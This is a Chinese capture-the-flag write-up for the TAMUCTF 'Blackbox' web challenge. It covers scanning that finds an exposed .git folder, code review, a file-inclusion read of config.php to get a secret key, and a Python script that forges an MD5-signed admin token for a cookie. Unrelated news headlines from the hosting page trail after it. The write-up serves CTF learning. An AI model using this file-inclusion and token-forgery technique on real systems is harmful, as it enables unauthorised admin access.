焦点!记一道国际赛CTF web题
这是一篇关于打d3ctf坐牢,无奈去打国际赛的题解。TAMUCTF[Blackbox]首先打开页面,然后发现一个登陆框刚开
博客园 2023-05-04 20:36:34
这是一篇关于打d3ctf坐牢,无奈去打国际赛的题解。
(资料图片仅供参考)
首先打开页面,然后发现一个登陆框
刚开始最先想到就是弱口令登陆,尝试几个后发现登陆不进去。
之后我就换了一个思路,就是扫一下,看看能不能有什么东西被扫出来,结果还真扫出来点东西,一个flag.txt,一个flag.php,还有就是.git泄露。
先访问falg.txt结果被老外嘲笑一番,页面返回hahaha loser,没办法脱下代码进行代码审计吧。
审计之后发现存在文件包含,于是乎想起之前的falg.php,于是顺利成章的读取flag.php,但是哪有那么顺利,flag.php返回了一个youtobe的一个网址,靠,白高兴了。
没有办法,只有进行登陆了,看登陆后会不会有flag。
于是又走上了一条代码审计的不归路。
function verify_token(string $token) { $token_data = explode(".", $token); if(hash("md5", SECRET_KEY . $token_data[0]) == $token_data[1]) { return true; } return false;} //这里是传入一个字符串,然后出现.号后分成俩部分,MD5哈希算法对SECRET_KEY和token_data[0]的组合字符串进行哈希处理,并将哈希结果与token_data[1]进行比较。如果两个值相同,则返回true,否则返回false。function is_admin(string $token) { if(verify_token($token)) { $db = new SQLite3(DB_FILE); $data = json_decode(base64_decode(explode(".", $token)[0]), TRUE); $username = $data["username"]; $user_key = $data["user_key"]; $admin = $data["admin"]; $statement = $db->prepare("SELECT * FROM users WHERE username=:uname AND key=:ukey;"); $statement->bindValue(":uname", $username); $statement->bindValue(":ukey", $user_key); $result = $statement->execute();//这里进行了一个查找数据库,如果转成JSON格式后的username与数据库中users表的username一样,并且user_key与key一样就可以进行登陆。 if($result != false && $result->fetchArray() != false && $admin == true) { return true; } return false; }}
这里就这俩个方法比较重要,这俩个方法进行身份验证。
然后我们就可以下手了。
function verify_token(string $token) { $token_data = explode(".", $token); if(hash("md5", SECRET_KEY . $token_data[0]) == $token_data[1]) { return true; } return false;}
这里我们首先获得SECRET_KEY,这个SECRET_KEY,翻遍了所有文件都没有找到,但是在.gitignore文件下面找到了config.php,所以我们使用文件包含读取config.php,果不其然·,我们找到了SECRET_KEY
然后我们写一个脚本获取我们需要的字符串。
import hashlibimport jsonimport base64# 定义 SECRET_KEY 和 Token 数据SECRET_KEY = "JYOFGX6w5ylmYXyHuMM2Rm7neHXLrBd2V0f5No3NlP8"token_data = { "username": "admin", "user_key": "26ceb685f46e6d22", "admin": True}# 编码 Token 数据,生成 Token 字符串encoded_token_data = base64.b64encode(json.dumps(token_data).encode()).decode()hash_str = SECRET_KEY + encoded_token_datahash_obj = hashlib.md5(hash_str.encode())hash_result = hash_obj.hexdigest()token_str = "{0}.{1}".format(encoded_token_data, hash_result)# 验证 Token 字符串是否有效token_parts = token_str.split(".")if len(token_parts) != 2: print("Token 字符串不合法")else: decoded_token_data = json.loads(base64.b64decode(token_parts[0]).decode()) if ("username" in decoded_token_data and "user_key" in decoded_token_data and "admin" in decoded_token_data and decoded_token_data["username"] == "admin" and decoded_token_data["user_key"] == "26ceb685f46e6d22" and decoded_token_data["admin"] is True): str_to_hash = SECRET_KEY + token_parts[0] hash_obj = hashlib.md5(str_to_hash.encode()) hash_result = hash_obj.hexdigest() if hash_result == token_parts[1]: print("Token 字符串有效:", token_str) else: print("Token 字符串无效") else: print("Token 字符串无效")
构造cookie之后就能获得flag。
这是一篇关于打d3ctf坐牢,无奈去打国际赛的题解。TAMUCTF[Blackbox]首先打开页面,然后发现一个登陆框刚开
原文编译自:TheAthletic作者:JovanBuha原标题:LeBronJamesvs StephCurryisstillasgreatasever Butthisch
明晚浙江队将在客场对阵武汉三镇。今天,主教练乔迪和球员赵博出席了赛前发布会。——展望比赛乔迪:明天对
航天小学举行教师微型课比赛
刚刚结束的“五一”假期,让我们感受到初夏的热烈。经文化和旅游部数据中心测算,全国国内旅游出游合计2 74
传承红色基因,铸就爱国情怀;投身善治街区,筑起幸福家园。为学习贯彻党的二十大精神,纪念五四运动104周
一、常州市图书馆开放时间少儿借阅区:周二至周日9:00——17:00成人借阅区:周二至周日9:00——17:00报刊借阅
日前,电影《检察风云》正在热映,不少影迷对黄景瑜和白百何两位主演大段的法庭专业台词印象深刻。在接受采
2023年成人高考《英语》必考关键句型(6)由成人高考栏目提供,查找更多2023年成人高考《英语》必考关键句型
叙利亚总统巴沙尔·阿萨德3日在首都大马士革与到访的伊朗总统莱希举行会谈,双方表示将在石油、农业等多个
今天是“五一”假期后上班的第一天嘉定区气象台06时16分发布雷电黄色预警信号就在早上“轰隆隆”!一声春雷
“竹子刺入枕骨大孔”!一次意外摔伤,将66岁的姜老伯推到了死亡边缘,一段长4 3厘米的竹子尖端,如标枪般
5月4日,镇江联成化学工业有限公司年产26万吨增塑剂生产设备开车正常,DOP出厂报价10700元 吨,报价上涨,
后台有粉丝求助:去年刚换了本田(丨)混动版,前几天体验了别克E5,发现电车静谧性和平顺性比我的车强很多
中国移动梧桐大数据统计显示,从4月29日到5月3日,各地旅游人数和相关消费均大幅上涨。